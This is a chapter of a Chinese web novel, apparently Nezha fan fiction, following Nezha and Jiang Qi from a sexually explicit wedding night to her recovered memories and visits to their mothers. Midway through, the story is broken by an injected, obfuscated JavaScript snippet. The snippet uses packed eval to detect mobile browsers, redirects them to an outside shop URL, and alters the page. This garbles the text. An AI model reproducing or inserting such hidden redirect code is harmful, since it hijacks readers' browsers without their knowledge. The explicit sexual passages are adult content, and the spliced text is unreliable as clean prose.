44.(假)正经
作品:《我失忆后,哪吒疯了》 眼前浮现春社那日的场景。
不知怎么,哪吒口干舌燥,眸光幽深盯着姜齐。
姜齐眉眼弯弯地回望着哪吒。两个人照着那功法动作——哪吒觉得他一点也不需要这功法,不过若是姜齐看着那功法能放轻松,看了也就看了。
哪吒匍丨动。
“好痛呀,你轻点。”姜齐带着笑意的声音就响在耳边:那声音婉转,听得人气血翻涌。
哪吒喉结滚动,见姜齐仍是笑意盈盈,忍不住亲了亲她,唤她的小名:“还成吗?”
“还行。”就是感觉有点古怪。酸涩,让人忍不住腿软。
哪吒看着姜齐笑得开心,忍不住恶作剧,好像重重打在战鼓上。
“哎哟!”银铃般的声音在耳边响起,带着笑意娇嗔,“不许这么逗我!”
哪吒再也忍不住了,敲打着战鼓,战鼓声在营帐里嘭嘭乱响。
两人的欢声笑语,好像又回到翠屏山上的时光。
只是,现在,他终于可以拥她入怀。
夜半时分,月上树梢。
哪吒还没停下,他两手掐着腰,嘴角噙着笑,看着她,感受着她。
姜齐感受着一阵又一阵的汹涌,忍不住拿脚蹬他的胸膛:“我,我认输了!”别再来了。
哪吒半分也不许姜齐逃开,他眼眸幽深,神情却沉稳,不错眼地盯着她。
姜齐脸色酡红,头发脸上满是汗津,眼角带着泪珠,眼睛一瞪,满是风情。
他笑着回话:“上阵杀敌,哪里能敌人一讨饶便停下的,若是敌人使诈怎么搞?!”
他嘴上说得深明大义,可现在明明分明是两个人在对练,哪里是在现场上!
姜齐受不住,一边继续拿脚推搡他,一边讨饶:“我……我已经认输了!你还要怎样!”
哪吒趁机把姜齐的腿窝提携起来,拢在自己的臂弯上,告诉她这是新的招式:“若是如此不得用,正好,我好好教教你,省得下次这样不中用!”
明明是两个人单独切磋,姜齐觉得这人倒好似是真的在战场上。除了呼吸有点粗重,别的一点也不差。
他打仗时,从不冒进,现在也是。
她忍不住真的要逃,哪吒好似发了善心,笑着看她逃了一半,才去捉她:“在战场上可不能做逃兵!逃兵可是要受罚的!
“我师父说了,打不过就要跑,不能怕丢人!”
“好啊,还敢狡辩!我现在就要好好整治整治你!”
他探过身来,扣开了姜齐的神府。
这个时候还要神交,简直是在要姜齐的命!
酥麻而销魂的电流顺着脊背直直地冲上了姜齐的天灵盖,姜齐闭上眼,整个身体绷紧了。
哪吒嘴角噙笑,细细感受姜齐的感觉。
姜齐不知道他从哪里学来的把戏。磨得她心烦意乱——别这般磨人!
他却好整以暇地看着姜齐,咧开笑容:“有破绽!”
湿腻腻的、温热的,他扯着坏笑,用犬齿磨了磨柔软。
“唉!别干坏事!”姜齐捶打他,他手一擒将姜齐的手放到身后。
倒好似自己主动递过去的,姜齐羞怯地想,最后还是别过脸,任他施展。
可是哪吒是真的太精力旺盛了。
练那哪吒不知道从哪里拿来的功法练到天都亮了,哪吒还没放过她。
姜齐脸上不知道是眼泪还是汗水,她已经顾不上这些了。
“可以了!可以了!”
“乖,练完这个招式咱们就不练了。”
“可你刚才就是这么说的!”
“这次不骗你。”
姜齐咿咿呀呀:“骗子!骗子!你就是个骗子!”
“好好好,我是骗子。”哪吒嘴上乖乖地任姜齐骂他,动作半点没停。
“呜呜呜,嘤嘤嘤。我累了,不要了。”
“好……”哪吒凑过来舔舐姜齐脸上的眼泪,“真是个爱哭鬼,这么娇气。”
“我会这样,到底是谁搞得……”
两个人闹到后半夜,哪吒终于不再缠着姜齐让她练功。
姜齐松了一口气,睡去了。
这一觉睡得格外沉,比当初在玉泉山金霞洞玉棺里睡得还要深。
不知道是如玉鼎真人所说,功德之力在修复神魂;还是因为这次和哪吒心意相通后的神魂交融,姜齐在朦胧中想起了许多。
她想起来,哪吒喜欢和老婚斗嘴。
她给哪吒的牌位和神像上香。
他们在行宫中斗嘴打闹。
哪吒在翠屏山的行宫门口,教她认字:“对,哪吒姜齐!”
她想起来,她半夜生病,第二天哪吒就拘束着她,不让她出门。
当初因为给哪吒聚魂,姜齐受了伤而且忘记了哪吒。
如今,她已经全都记起来了。
姜齐这一觉睡得十分长,她昏昏沉沉的醒过来,看见哪吒俯身摸着自己的额头:“姜齐,你还好吗?”
天不怕地不怕的人,眼神里难得带了愧疚。
姜齐逗他:“都怪你!”
被姜齐这么一说,哪吒有些不知所措,不过他向来不认输:“明明是你太弱了……”
“你还说!”姜齐本来只想逗逗他,没想到给自己绕进去了。
“好了好了,不生气了。”哪吒哄她,“身上还难受不?”
姜齐把被子拉到头上,遮住脸:“你滚呐!”
哪吒听姜齐中气十足的声音,觉得她应该没什么事情。
他打来水,乖乖地给姜齐擦拭。姜齐闭着眼,红着脸,乖乖任哪吒擦拭。
这个样子太乖了,哪吒又有些意动。
不过看姜齐又要继续睡的样子,他就跑去校场了。
众人还奇怪,为何先锋官大喜的日子,不多跟新娘子呆一会儿,跑校场来做什么?
知道下午,哪吒才回去,二人又睡去。
天还没亮,哪吒已经醒了。该去修炼了,哪吒迷迷瞪瞪心想,可他只是翻了个身,抱紧了旁边的人儿。
他现在格外喜欢另一片天地的开疆拓土。
然后姜齐就再也睡不了觉了。
她不满地咬了口哪吒的脸颊。哪吒坏心眼地戳了戳,姜齐闷哼。
“小点声,营帐里隔音可不好。”
姜齐瞪哪吒:谁干的怪事。
哪吒把手递过去,姜齐不客气地咬进嘴里。
哪吒满意地笑了。
姜齐止不住地摩挲他。
如今虽然战事未停,但万仙阵刚过去不久,军队也需要在原地休整。
而且再往前走,就离朝歌愈来愈近。
后面就没有什么闲暇的时光了。
姜子牙给哪吒和姜齐放了两天假。
两个人回了翠屏山,姜齐带着哪吒回了自己母亲的家。
家里还是老样子,甚至因为陈塘关以前是李靖的地方,底下的氏族部落很快就对西岐投降了。
所以家里还是老样子。
“母亲!”姜齐还没进院子就开始喊,她和哪吒拉着手,打开院子的门,“娘亲!”
“好了好了,知道你回来了!”孙母从屋子里走出来,奇怪地看着姜齐身后的少年,“这是谁?”
“这是哪吒!”姜齐有些无措地揪着衣角,声音带着一丝羞涩,“娘亲,我在外面成婚了——这是……我的夫君。带过来给你看看。”
孙母被姜齐的话震到了,愣了好半天:“好好好!这是好事!快进屋!”
孙母拉着姜齐的手,进了屋,对着姜齐左看右看:“囡囡还是没变。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352174|196494||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“母亲,我都多大了,还没变呐!”
哪吒放下手里的木箱,静静地瞧母女二人团聚。
而后姜齐和哪吒并肩站在一起,对着孙母,恭恭敬敬地叩拜了三下。
孙母眼角含着泪,拉着姜齐:“好孩子,记得去给你爹爹上三柱香,你爹知道了,会高兴地。”
姜齐点头,两个人离了孙家村,去了姜齐的家。
姜齐的家里很干净。
“母亲一定经常过来,给这里擦拭。”姜齐摸着案几。
地上阵法的鲜血已经干涸,而后消失在泥土里,好像什么都没有发生过。
哪吒还记得,姜齐在这个屋子里留下的眼泪。
他不清楚姜齐想起了多少,忍不住说起往事:“就是在这里,你把我的魂魄重新聚集起来了,让我找到了三魂七魄……”
姜齐可看不得哪吒这个模样:“可我觉得,你跟那个小孩儿长得一点儿也不一样。”
“谁是小孩子了!”哪吒欣喜地抬头,“姜齐,你……”
“对,我都想起来了。”姜齐笑意盈盈地看着哪吒,“我记得,你神像的眉心,是没有这道红印的。”
哪吒摸上自己的眉心:“这是莲花化身重塑真身时留下的印记。”
“反正,脸是变了许多。”姜齐忍不住把面前的人和过去的孩童做对比,“不过,还是有东西没变的。”
“什么?”
“你这个霸道的性子,一点儿也没变。”
给姜父的牌位上好了香,两个人就去了陈塘关。
不过李靖早已辞官归隐,不再做商朝的官,殷夫人便不再住总兵府,而是在一处山清水秀、极为隐秘的小院里安身。
姜齐和哪吒落在殷夫人面前。
殷夫人冷不丁看到两个人,吓了一跳。
不过她还是认出了姜齐:“姜齐姑娘,是你吗?你怎么突然来了……我们已多年未见了。”
“母亲。”哪吒张口唤殷夫人,“我是哪吒。”
殷夫人有些不可置信,她张了张嘴,想说些什么。
最后只能转过身,肩膀一抽一抽、小声抽噎着。
“母亲!”哪吒继续唤殷夫人,“我真的是哪吒。”
殷夫人背对着二人,拭了泪,转过身带着笑:“好!好!好!娘只是以为,再也见不到你了。”
几个人进了屋内,有侍人端上了水。
坐定之后,哪吒拉着姜齐,一同起身。两人对着殷夫人,俯身跪拜。
“母亲,我今天带家妇来见您。”
“好!快起来!”待二人入座后,殷夫人跟哪吒姜齐唠起家常,“如今外面怎么样?你们身体可好?”
殷夫人舍不得自己的小儿子,聊了许久。
哪吒也知道母亲的心事,乖乖地,问什么回什么。
一直聊到入夜。
殷夫人备了房间,哪吒和姜齐在殷夫人这里睡下。
半夜,姜齐哪吒的房间里。
乾坤圈随着哪吒的心意飞来,哪吒接过那金灿灿的圈,而后圈缩成手镯大小。
姜齐手一凉,乾坤圈就到了她的手腕上,可是那圈到了她手腕上还没停,直到将将箍住她的腕肉,才不再缩小。
这是什么意思?姜齐不解地看着哪吒。
耳廓传来潮湿炽热的声音:“你现在,就是这么箍着我的……”
姜齐脸上臊得厉害,忍不住瞪了一眼哪吒,又被装得打了个颤。
乾坤圈又变回手镯大小。
“你以后,戴着它,混天绫也给你。”哪吒伏在姜齐的颈窝,认真说。
姜齐就是不明白,你说他这个人,在说正事吧,人还没停下来;说他在做混蛋事,但是神态认真,盯着她,说着事。
可恶至极。

